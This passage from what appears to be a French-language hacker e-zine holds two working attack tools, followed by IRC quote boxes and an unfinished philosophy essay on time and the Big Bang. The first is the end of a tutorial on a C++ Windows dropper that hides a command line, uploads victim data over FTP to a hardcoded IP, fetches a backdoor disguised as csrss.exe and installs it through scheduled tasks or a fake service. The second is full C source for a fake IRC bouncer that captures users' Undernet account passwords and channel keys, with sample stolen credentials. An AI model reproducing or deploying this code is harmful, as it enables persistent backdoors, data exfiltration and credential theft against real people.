        toute les 7 minutes. Alors a chaque 7 minutes vous clatez de joie  aprs  avoir fait 
        un beau ti nc -lvvp 1337 ;-).

	schtasks /create /tn system /tr "%path:~0,19%\wins\csrss.exe" /sc minute /mo 7 /ru ""

6)	Puisqu'on est pas ben ben patient pis qu'on veut pas attendre ce 7 minute la premiere 
        fois qu'on excute w1ko, ben on le start drette live!

	start %path:~0,19%\wins\csrss.exe

7)	Cpa  cool  de  laisser notre  pauvre  petit  w1ko  poirotter comme ca sur la victime. 
        Alors pourquoi ne pas l'auto-supprim lorsqu'il est excut :-P

	del w1*

===========================================================================


Et comment je met ces commandes DOS la en C++ ? Comme ca :

#include <windows.h>
void startup()
{
ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user TON_USER>%tmp%\\ez1.tmp&echo TON_PASS>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %path:~0,19%\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo get csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*&schtasks /create /tn system /tr \"%path:~0,19%\\wins\\csrss.exe\" /sc minute /mo 7 /ru \"\"&start %path:~0,19%\\wins\\csrss.exe&del w1*", NULL, SW_HIDE);
}



et pour ceux qui aime pas trop l'ide de schtasks, il est tourjours possible de cr backdoor 
en Service en utilisant Instsrv.exe et Srvany.exe de la faon suivante: 
	Instsrv.exe = svchost.exe et 
	Srvany.exe = smss.exe:

#include <windows.h>
void startup()
{
ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user b8st5gh>%tmp%\\ez1.tmp&echo ard3lu7>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %windir%\\system32\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo mget smss.exe svchost.exe csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*.*&%windir%\\system32\\wins\\svchost.exe \"Service d'aide\" %windir%\\system32\\wins\\smss.exe&REG add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\Service d'aide\\Parameters\" /v Application /t reg_sz /d %windir%\\system32\\wins\\csrss.exe /f&net start \"Service d'aide\"&del %windir%\\system32\\wins\\sv*.exe&del w1ko.exe", NULL, SW_HIDE);
}


Ca  ne s'arrete pas l, nous pourrions partir le service Telnet WinXp pro, sharer les disques 
dur  de  la  victime,  inserer  un  sniffer  invisible,  un keylogger, etc... Bref ya  pleins 
d'amusantes choses  faire avec cette fonction, il suffit d'y penser. J'espere  que  ce petit 
tutorial vous a plus...

wAXAw,
wAxXxAw@gmail.com


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<g463> Quand j'avais 18 ans, je mangeais pas de brocolis\_ \   \\_  \_ \         `
 || |<g463> parce que j'apprciais pas le got, et je me       \\_  \_ \   \\_ M  ; . X
 || |<g463> connaissais assez pour dire que je n'aimais pas un \_ \   \\_  \_ \ K      
 || |<g463> criss de lgumes, et que a finissait l... Pourtant,\\_  \_ \   \\_ -  : '
 ||`|<g463> avec le temps, avec l'exprience que j'ai acquise    \_ \   \\_  \_ \ 1   
 || |<g463> durant ma vie, j'ai appris que les lgumes taient     \\_  \_ \   \\_ 1  + 
 || |<g463> nutritifs, que notre corps en avait besoin pour vivre, \_ \   \\_  \_ \ 1   
 ||'|<g463> et toutes cette information a envoyer des influx positif \\_  \_ \   \\_  x 
 || |<g463>  mon sens du goter pour linfluencer.                   \_ \   \\_  \_ \  `
 || |<g463> Pourtant au dbut je pouvais dire que je me connaissais    \\_  \_ \   \\_  
 ||,|<g463> assez pour dire que jamais j'aurais manger un esti         \_ \   \\_  \_ \.
 || |<g463> d'lgume de ma vie.                                          \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[  mindkind health care                                                 ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O9]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[  Un affaire de fake-bnc       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   phawnky    ]=\:\ _//     
                                                  \__\________________________/__/ 

/* 
   Fake BNC - MKD - phawnky - 2k4

   J'ai cree se soft a la demande d'un gars (no shit!  juree  la...)  qui  voulait piquer des 
   cservices users/pass et, en bonus, des chans keys.
   
   En  bref,  le  code  redirect  une  connection  a  IRCBNC  (defined)  et  output les trucs 
   interessant qui se passe.
  
   J'ai compiler/tester le code et il est 100% fonctionel sous:
      
      -Win98     (Avec cygwin)
      -WinXP sp2 (Avec cygwin)  
      -freebsd 4.x
  
   Exemple d'utilisation:
   ----------------------
   
   @@@@@@@@@@@@@@@@[ irc ]@@@@@@@@@@@@@@@@
   (3.56p) wasting your life away in #KKK
   <phawnky> Hi! can someone test my BNC @ iam.leet.as.fuck.kr port 3000 ?
     
   
   @@@@@@@@@@@@@@@@[ box ]@@@@@@@@@@@@@@@@
   <-Funky@-> ./mkd-fbnc 3000
   -------------------------------
   [MKD] - FakeBNC - phawnky - 2k4
   -------------------------------

   [+] Listening on port 3000...
   [+] Incoming connection from: 64.57.75.131
   [+] Successfully connected to 216.152.77.10:6667
   [+] NICK MuMMy
   [+] USER tested "64.57.75.131" "iam.leet.as.fuck.kr" I've lost my friends today.
   [+] Joined chan #KKK
   [+] X Username: mummy
   [+] X Passowrd: 1fUKiNg1
   [+] Connection Terminated.
   ^C
   
   @@@@@@@@@@@@@@@@[ irc ]@@@@@@@@@@@@@@@@
   <MuMMy> looking good
   <phawnky> kthxbye
   
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define LOGF        "./fbnc.log"
#define IRCBNC      "216.152.77.10"
#define IRCBNC_PORT  6667

// Prototype
void usage(char *);            // lemure
void banner(void);             // Show off
int monitor(int, char *, int); // wo0t
void infograbber(char *);      // Big brother
void stripshit(char *, int);   // lazy
void logshit(char *, char *, char *); 

int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno, clilen;
     struct sockaddr_in serv_addr, cli_addr;
     int yes=1;
     
     if (argc < 2) {
         usage(argv[0]);
         exit(-1);
     }
     
     banner();
     
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0) {
        perror("Socket() ");
        exit(-1);
     }
     
     // Recycler c'est bien, les femmes hippy aime ca, et j'aimes les femmes.
     if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,sizeof(int)) == -1) {
            perror("setsockopt");
            exit(1);
        }
     
     portno = atoi(argv[1]);
     
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     
     if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        perror("Bind() ");
        exit(-1);
     }
     
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     
     printf("[+] Listening on port %d...\n", portno);
     
     while(newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) 
     {  
        // 1st, L'ip.
        printf("[+] Incoming connection from: %s\n", inet_ntoa(cli_addr.sin_addr));
       
        logshit(LOGF, "\n[+] - New session Started - [+]\n"
                      "IP:  %s\n", 
                      (char *) inet_ntoa(cli_addr.sin_addr));
        
        monitor(newsockfd, IRCBNC, IRCBNC_PORT);      
          
        logshit(LOGF, "[+] - %s Hung up - [+]", (char *) inet_ntoa(cli_addr.sin_addr));
        // Closing Socket
        close(newsockfd);
     }
     return 0; 
}

void
usage(char *progname)
{         
          banner();
          printf("Usage: %s portnum\n\n", progname);
}          

void 
banner(void)
{
   printf("-------------------------------\n"
          "[MKD] - FakeBNC - phawnky - 2k4\n"
          "-------------------------------\n\n");
}             


void 
logshit(char *fname, char *fmt, char *s)
{
   FILE *log;
   
   log = fopen(fname, "a+");
   if (!log) {
      perror("fopen() ");
      exit(-1);
   }

   fprintf(log, fmt, s);
   fclose(log);
}

void
stripshit(char *s, int sz)
{
   int i, j;
   
   for(i=j=0; i < sz; i++)
      if(s[i] != ':')
         s[j++] = s[i];
   s[j] = 0x00;
}

int 
monitor(int sock, char *server, int port)
{
   struct sockaddr_in sin;
   int rsock;
   char buf[255];
   fd_set rfds;
   int len;
     
   FD_ZERO(&rfds);
          
   sin.sin_family = AF_INET;
   sin.sin_port = htons(IRCBNC_PORT);
   sin.sin_addr.s_addr = inet_addr(IRCBNC);
   
   rsock = socket(AF_INET, SOCK_STREAM, 0);
   if (rsock < 0 || (connect(rsock, (struct sockaddr *) &sin, sizeof(sin))) < 0) {
      perror("[-] connect()");
      return;
   }
   
   printf("[+] Successfully connected to %s:%d\n", server, port);
    
   while(1)
   {  
     FD_SET(sock, &rfds);
     FD_SET(rsock, &rfds);
                    
     if (select(rsock+1, &rfds, 0x00, 0x00, 0x00) == -1) {
         perror("[-] Select()");
         exit(-1);
     }

     bzero(buf, sizeof(buf));     

     // Passoire a truc interessant + forwarding
     if (FD_ISSET(sock, &rfds)) {                         // Le sucker send du stuck
       if (len = recv(sock, buf, sizeof(buf)-1, 0) < 0) { // Le sucker a dropper
          close(rsock);
          break;
       }
      
      
       if(strlen(buf))
          infograbber(buf); // Filtrage et/ou modifications
          
       if(len = send(rsock, buf, strlen(buf), 0) < 0) {  
          close(rsock);
          break;
       }
     }
     bzero(buf, sizeof(buf));

     if(FD_ISSET(rsock, &rfds)) {                          // Le serveur a sender du data         
       if (len = recv(rsock, buf, sizeof(buf)-1, 0) < 0) { // Le serveur est mouru
          close(rsock);
          break;
       }
       if (len = send(sock, buf, strlen(buf), 0) < 0) {    // Le sucker a dropper
          close(rsock);  
          break;
       }
     }
   }
   printf("[+] Connection Terminated.\n");
   return 0;
}      

void
infograbber(char *buf)
{
   char *bkp;
   char *ptr;
   char *tmp;
   char chan[255], chanpass[255], tmpbuf[510];   
   
   // Commande NICK?
   bkp = strdup(buf);
   ptr = strstr(bkp, "NICK");
   if (ptr) {
      strtok(ptr, "\n");
      stripshit(ptr, strlen(ptr));
      printf("[+] %s\n", ptr);
      logshit(LOGF, "%s\n", ptr);
   }
   
   // Commande USER?
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "USER");
   if(ptr) { 
      strtok(ptr, "\n");
      stripshit(ptr, strlen(ptr));
      printf("[+] %s\n", ptr);
      logshit(LOGF, "%s\n", ptr);
   }      
   
   // Commande JOIN?
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "JOIN");
   if(ptr) { 
      for(tmp = strtok(ptr, "\n"); tmp; tmp = strtok(0x00, "\n")) 
      {
         stripshit(tmp, strlen(tmp));
         if(sscanf(tmp, "%s %s %s", tmpbuf, chan, chanpass) == 3) {
            printf("[+] Joined chan %s Using pass: %s\n", 
                    chan, chanpass);
            snprintf(tmpbuf, sizeof(tmpbuf)-1, 
                     "Joined chan %s Using pass: %s\n",
                     chan, chanpass);
            logshit(LOGF, "%s", tmpbuf);        
         } else {
            printf("[+] Joined chan %s\n", chan);
            logshit(LOGF, "Joined chan %s\n", chan);       
         }                
      }
   }       
   // Commande join? (Mirc est gay et send ca en lowercase)
   free(bkp);
   bkp = strdup(buf);
   ptr = strstr(bkp, "join");  
   if(ptr) { 
      for(tmp = strtok(ptr, "\n"); tmp; tmp = strtok(0x00, "\n")) 
      {
         stripshit(tmp, strlen(tmp));
         if(sscanf(tmp, "%s %s %s", tmpbuf, chan, chanpass) == 3) {
            printf("[+] Joined chan %s Using pass: %s\n", 
                    chan, chanpass);
            snprintf(tmpbuf, sizeof(tmpbuf)-1, 
                     "Joined chan %s Using pass: %s\n",
                     chan, chanpass);
            logshit(LOGF, "%s", tmpbuf);        
         } else {
            printf("[+] Joined chan %s\n", chan);
            logshit(LOGF, "Joined chan %s\n", chan);       
         }                
      }
   }       
   
   // Le but premier.
   //PRIVMSG x@channels.undernet.org :login USER PASS\n
   free(bkp); 
   bkp = strdup(buf);
   ptr = strstr(bkp, "PRIVMSG x@channels.undernet.org");
   if(ptr) {  // OMG!
      tmp = strtok(ptr, ":");   // PRIVMSG x@channels.undernet.org 
      tmp = strtok(0x00, " ");  // login
      tmp = strtok(0x00, " ");  // USER
      printf("[+] X Username: %s\n", tmp);
      logshit(LOGF, "X Username: %s\n", tmp);
      tmp = strtok(0x00, "\n"); // PASS
      printf("[+] X Passowrd: %s\n", tmp);
      logshit(LOGF, "X Passowrd: %s\n", tmp);
   }
   free(bkp);
      
}




  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<binf> decrypt/decypher ne s'applique pas toujours a de \_ \   \\_  \_ \         `
 || |l'encryption....                                          \\_  \_ \   \\_ M  ; . X
 || |<wyzeman> faut aimer jouer sur les mots                   \_ \   \\_  \_ \ K      
 || |<wyzeman> voit ca comme un image                            \\_  \_ \   \\_ -  : '
 ||`|<binf> non c'est asser comun en anglais                     \_ \   \\_  \_ \ 1   
 || |<wyzeman> afaik cette discution est francophone               \\_  \_ \   \\_ 1  + 
 || |<wyzeman> at least franglais                                  \_ \   \\_  \_ \ 1   
 ||'|<binf> du genre si tu ecrit merde possible qu'un americain te   \\_  \_ \   \\_  x 
 || |demande hey wyzeman would you decypher this hand writing for me \_ \   \\_  \_ \  `
 || |please.                                                           \\_  \_ \   \\_  
 ||,|<binf> ecrit merde == ecrire mal                                  \_ \   \\_  \_ \.
 || |wyzeman on avait decypherer ta merde de phrase binf                 \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ sur #hack.fr meme l'humour sent le geek                               ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[10]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de philosophie     ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Qwzykx    ]=\:\ _//     
                                                  \__\________________________/__/ 


Cest  dans  un  esprit  de  dcouverte  et  de  rjouissance,  que  je  vous  propose  cette  
introspection  dans   les  mandres  de   la  ralit,  dans   toute  son intemporalit. Dans 
cet article plutt volumineux en perspective, on traitera de  notre  insignifiance, de notre, 
petitesse,  du temps qui fille au  compte gouttes  depuis  des  milliards dannes, donc avis  
 tout les litismes de ce  monde,  cet  article  peut  peser lourd sur votre ego lisez donc 
avec modration, je  voudrais  quand  mme  pas tre  responsable dun  dbordement dmotion  
de votre part. Un  article  de philo   ... un  autre,  mais  par ou   commencer!? Quoi  dire,  
quoi tenter d'expliquer  des personnes tout   fait inconnue... Qui ont des buts diffrents, 
des  ambitions plus  ou moins  louables...  et  qui  ont  tous  leurs  vendredi  soir de rve 
ou de merde  bien a eux ;)  Mais en dehors de  tout ces inconnues qui  sont inexorablement le 
reflet de l'incertitude de ce qu'on vois chez cette magnifique fille  qui se  presse de  nous  
servir  un verre, ou  du d-intrt  le plus total qu'on  prouve envers le pompiste du coin,  
dans tout ca y doit bien  y  avoir un lien  commun,  un intrt commun...  aprs  tout la map  
est la mme  pour tout le monde, l'poque aussi,  et  bien  que  nous  sommes  tous  beaux et  
unique  comme des  flocons de   neiges,  notre unicit s'tant fondamentalement  la pyramide   
de Maslow  :) Mais   derrire tout ca, on dsir plus  le bonheur et  les  fous rires absurdes 
au malheurs et aux larmes acides. Quon soit Chinois ou Australien, on pense fondamentalement 
  la   mme chose, soit mme  avant tout, et  cest  pas mal  en soit de  penser  sa   peau
avant celle des autres, davoir plus  destime  du monde qui vous entoure que d'estime envers 
de pures  inconnues..    cest toujours  dans  un  but   dguis   de  survie   social..   et  
fondamentalement  personnelle  ;)  On a tous une culture  diffrente, mais  ou  la diffrance 
a  peu   voir avec nos valeurs essentiels (besoin Physique, besoin de  scurit,      besoin
dappartenance,  destime   de    sois,   et    daccomplissement)  On    oublie plutt  bien  
dans  la modernit du monde  qui nous entoure lessentiel de ses concepts.  Suffit dune nuit 
seul dehors dans une ville inconnue pour avoir un dbalancement  marquer de  cette  pyramide.   
Une  situation   que bien des touristes  tentent dviter  tout  prix dailleurs;) Un  model 
vraiment   utile  pour  plusieurs  corps  militaires  qui  sadonne    des  techniques    de   
brainwashing en rgle.. ici  je vous laisse   tirez vos  conclusions.. Malgr  tout,   chaque
personne a sa petite vision  du  monde, ses petites thories absolue sur  ce qui lentoure.

De  toutes  ces grandes  incertitudes  on vois  le  monde qui  nous  entour  sous  diffrents 
angles,  autant d'angles  que de  paire dyeux  qui le  regarde,  trois  dimensions qui  nous 
entoures  ou tous  semblent s'tre  habitus, dplacer  des  objets,  regarder des personnes, 
cre en modifiant l'tat de la matire. Le temps est  peut-tre la  seule dimension  tangible 
qui  nous diffrencie  les uns  des  autres, car aprs tout  il faut une valuation  du temps 
dans un  autre mode que celui prsent pour le dceler, pour esprer le dplacer, le modifier.

Et ce qui diffrencie une ou   plusieurs personnes entre elles se dfini    plus par le temps  
passe   qui nous   est  propre   que par   les  trois  autres dimensions prsente un  jolie 
chandail,  une  jupe courte, un   chapeau  melon,  des bottes  de cuirs?!  Tant d'lment qui 
placer dans un  bars, dans un 2 1/2 ou    la  piscine   municipal  ne   sont  qu'aguicheurs,     
qu'nigmatiques, qu'intrigants.  Mais le temps a se pouvoir  d'user  l'intrigant, de    polir
l'intrt,  aprs  40 fois une situation absurde passe au clicher... un vnement  dplaisant  
deviens  une    constante,  un  fou  rire   deviens  un souvenirs. Et c'est ici  que tout  le 
monde  prend un chemin diffrent  dans  la  4e  dimension, les  souvenirs sont  des  lments 
d'expriences prcdentes, des situations qui   tendent    se polirent   par  leurs   simple  
re-introduction.  Suivant  une  courbe  d'apprentissage  1/exp  nous apprenons rapidement les  
lments cls de   ce  qu'une   situation  a    nous offrir, avec le temps les connaissances 
pertinentes ne servent qu' amliorer l'incertitude fondamental de la courbe d'apprentissage.


Vous vous tapez une game de counterstrike (ici exemple vaste tirer d'un jeu  bien  connu  ... 
(tant  qu  prendre  un exemple),  il vous   faut  en  tant  que  noob,  utiliser vos points  
d'adaptations pour manier  les armes, se  familiariser avec les touches de facon  symbiotique 
puis  ensuite il  faut muler  le "tirer  sur  l'autre de  facon efficace"  en se  servant de  
tout ces  jeux pass  qui ont un principe plutt similaire, mais ou  la  dynamique  du  jeux,  
du engine est diffrents, ici on  peut dceler que  l'apparence d'une courbes de connaissance
est dj re-introduite  comme lment d'adaptation affin de gagner du temps de spcialisation 
avec se nouveau engine,  puis  viens  ensuite  le dfi de connatre les maps, en soit le mme 
test que des milliers de rats on fait bien avant vous. Vous  vous  rappelez la vitesse qu'ils 
ont mis  les apprendre!? Non mais pour  la grosseur de  cerveau et  la comparaison  associe 
je  crois pas  que ce  sois un problme  pour  le commun  des  mortels. Ce  qui  faut retenir  
c'est peut-tre justement la facilit qu'on a  se mouvoir dans un environnement restreint et  
 mmoriser des lments de dcors affins de s'introduire dans un monde virtuel et s'y sentir  
en contrle. Puis viens  finalement les dtails superflues qui sont paradoxalement les points 
cls du jeu, comme poser un c4  un endroit donne.

Ou pensez  tous ces clowns  de cirque qui sont en  quilibre debout sur un  uni  cycle,  une 
tache  impossible pour le  commun  des  mortels,  et  qui  par  la  simple  pratique  devient 
envisageable. Imaginez le  nombre de traitement que le  cerveau d'une personne comme  ca doit 
faire  pour tre en  quilibre... tellement il ne pense   rien.. il  ne fait  que sentir  le 
moment  dans sa  tte.. comme si le cerveau   processerait  tellement  d'information  et  que  
la pratique serait tellement aboutie, que les informations ncessaires  l'accomplissement de
l'action  serait  intgres  dans  son  cervelet  directement  au  centre  de  toute  actions 
coordonnes destin  le maintenir en quilibre, tout ca dans une  boite  de 15cm2. Et si  on 
dis  ce  gars la de faire  la mme opration, mais  dans un endroit ou il devra combattre un 
vent  de 40 Km/h de l'est, naturellement il  va  essayer de compenser avec toute la  pratique 
qu'il a cet nouvelle contrainte et il est ici mieux placer que n'importe qui pour russir. Le 
sens du dfi pour lui  rentre  en  ligne  de compte  se  moment prcis, le reste tait de la  
pratique la  il faut se fier sur la pratique, et l'adaptation spontane  une contrainte. Ya
beaucoup  de  personnes  dans  le monde qui nous font mditer sur le pouvoir  limit du corps  
humains,  et    quel  point ils russissent    faire des mouvements  et articulations  avec 
une  tel machine,  d'autre se  contente d'utiliser que le raisonnement d'une tel machine,  et 
pour en venir   raisonner sur des  concepts divers, on se doit bien de le faire dans un lieu 
et un moment prcis sur terre;)

Importance du lieu de  la cration, par ceci  je tiens  simplement    exposer  que  certains 
lieux sont plus propices  la stimulation intellectuelle, ou sont plus vocateurs de passions  
instantans, en plus le lieu en question peut tre investi de  plus de  chaos qu'un  sous-sol 
en  bton froid...  tout  ce  chaos  qui  incite votre esprit  divaguer sur  divers lments 
qu'il voque. Le but est en fait peut-tre plus de s'immerger  dans  des  situations remplies  
d'lments  imprvisibles  (  un  certain niveau)  ou la  profondeur d'un  texte aura  comme
renfort l'lments de l'analyse d'une parcelle de chaos. La loi de Murphy est en soit un truc 
pessimiste, mais si on cherche  trouver son cote positif,  souvent confondu avec le  destin, 
on y trouve l'opportunisme qui  est la cl qui ouvre l'option d'agir sur un vnement donne, 
le choix reviens encore au dtenteur de  cette cl, choix phmre la  plus pars du temps. Et  
si on divague sur le  sens  mme   de  la  mtaphore  de la  cl,  outil  important  mais pas  
ncessairement  essentiel  pour ouvrir une porte (porte  frontire qui nous spare d'un point  
de vue essentiel  la qute de nos but et envies). La cl en soit est le moyen   qui  combine 
efficacit et rapidit, situation parfaite qui sert bien un opportuniste  averti,  par contre  
le lockpiking  ou le  dvissage de  serrure permet  souvent d'obtenir le mme rsultat. Hlas 
le temps est une contrainte  importante  surtout  qu'il  faut  complexifier  de  beaucoup une  
situation idale,  ne serait-ce  qu'en  temps  immdiat  et  pralable..  Donc l'opportuniste  
averti    avec  sois  des  lments  qui tiennent plus de  la statistique  que du  pratique, 
les  occasions chaotiques  se  doivent   d'tre   rpertoris,   catalogus,   analyss    et
expriments...  affins  de  les   re-rpertorier,   re-cataloguer,   re-analyser    et   re- 
exprimenter... tout ca  dans le but  de les re-re-rpertorier,  etc ... de  ces statistiques 
purs on en arrive  un niveau d'incertitude non concluant qui par  dduction est  la limite  
de l'application aprs X  essai d'une situation. Si  X  est  augment   pour  comprendre   un 
ensemble  plus vaste, et que la situation  final reste invariable, on  atteint ce qui semble 
bien tre une vidence. Les  moeurs  et  coutumes  varissent  entre plusieurs pays, plusieurs 
continent, alors il serait  judicieux  d'exprimenter dans un monde local affins de roder vos 
thories  avant  de  les  exposer au monde!.. Mais avant de les exposer au monde, il faudrait  
peut tre avoir une ide plus objective de ce quil reprsente..

Comme toute bonne histoire a un  dbut, ou du moins une situation  initial, je vais enchaner  
avec les  connaissances que  lon a  du monde  qui nous  entour,  depuis le dbut ou ces mme 
connaissances   nous  permettent  dextrapoler,   c'est--dire  le  Big-Bang.  Cet  vnement 
mystrieux, et  la fois essentiel  notre qute de connaissances, a pris place il y a jadis, 
15 milliard dannes  sa fait un  bout de temps, mais notre bonne  vielle terre a quand mme 
5  milliard dannes,  en  somme, temporelment parlant, ctait il  y a pas si longtemps ;)  
surtout si  on  extrapole que lunivers  encore un  bon bout de temps  devant lui, plus  que
vous en  avez entk  ;). La  thorie va  comme suit,  de rien, est ne lunivers simple  non?  
On   tous entendu  cette histoire,  mais dans  les faits,  cest possible ? Toute  lnergie 
et  la   matire  de  cet  UNIVERS,  mme  les  bouts  que  lon  ignore de ce qui le compose 
actuellement, (et on est encore plutt ignorant),  tait  jadis packer   un  point tangible,  
et rel  de ce monde qui sappelait pas encore lUnivers. En fait ce qui se passe avant cette  
poque et  purement  inconnue,  et  nest  peut-tre  vouer qu  enrichir la  crativit  de
nombreuses  espces  intelligente  par  de  belles  spculations,   spculations ironiquement  
faite  par  de la  matire  et  de lnergie  venant  de  ce point  existentiel de la vie. En 
fait,  le mystre est complexe, soit, la   notion mme  du  temps  prend  ses  racines    ce 
moment  mme de  la cration,  distorsionn  souhait par toute cette prcarit de matire et 
cette temprature extrme.  Mais  cette  anomalie  en avait assez un jour de tourner en rond, 
donc elle   explose, pour le plus grand bonheur de tout  le monde finalement.. (avec un peu 
de  recul  on  le  voit bien ) ;) .. De  *rien*, sest entam loeuvre le moins lche qui ait
jamais exist,  Les notions  mme de  la physique  se sont  rvls  ce moment, lespace, la 
matire,  lnergie, le temps,  surtout le temps,  puisquil est en  soit  la  cration   qui 
garantie tout les autres.

Puis  sen  suit une  volutions  de la  force,  dune super  force,   lunivers  explose  en 
donnant naissance  dautres forces qui encore aujourdhui  rgissent encore nos vie.  Ds sa 
cration,  la gravit simpose  dj comme une  force  part entire, tendis que   les forces  
lectromagntiques,  nuclaire    (forte, et faible) sont  mixer ensemble  dans   une seconde  
force   qui les   unifies  toutes..  Puis,     10^-35  secondes, la  force nuclaire   forte 
se spare  du groupe de force unifie.   On a maintenant 3  forces prsentes, la gravit,  la
nuclaire forte, et encore ce mixe de forces lectromagntiques et de force nuclaire faible.  
Puis vers  10^-11 secondes, la  force  nuclaire  faible  et  la  force  lectromagntique se  
sparent en  ce qui  sera respectivement  la   mme   chose,  mais  sparer ;). Voil donc le   
dbut des forces  fondamentals   de  la physique,  le  tout  dans  un  dlais  de  temps  que 
linformatique  actuel  ne parvient pas a gal.

Puis, lespace en tant quentit sest  mise  sexpandre  une vitesse   folle. Mais le tout 
dans une chelle   de  temps  tout  aussi  dment.  Ds  lexplosion,  la  temprature  tait  
extrmement lev, les particules de matires et danti matires ont  livre  leurs  premire 
bataille  en rgle   ce  moment,   10^-43 secondes, dj le tout commencait  ce refroidir,  
la matire  sest mise     prdominer sur lanti-matire, par le lot incroyable dune partie 
par   milliard de  particule.. :).   Lunivers a  russis le  test de  la cration,  en ne se
dissolvant pas lui-mme par lanti-matire. Puis lexpansion se poursuit    10^32  secondes, 
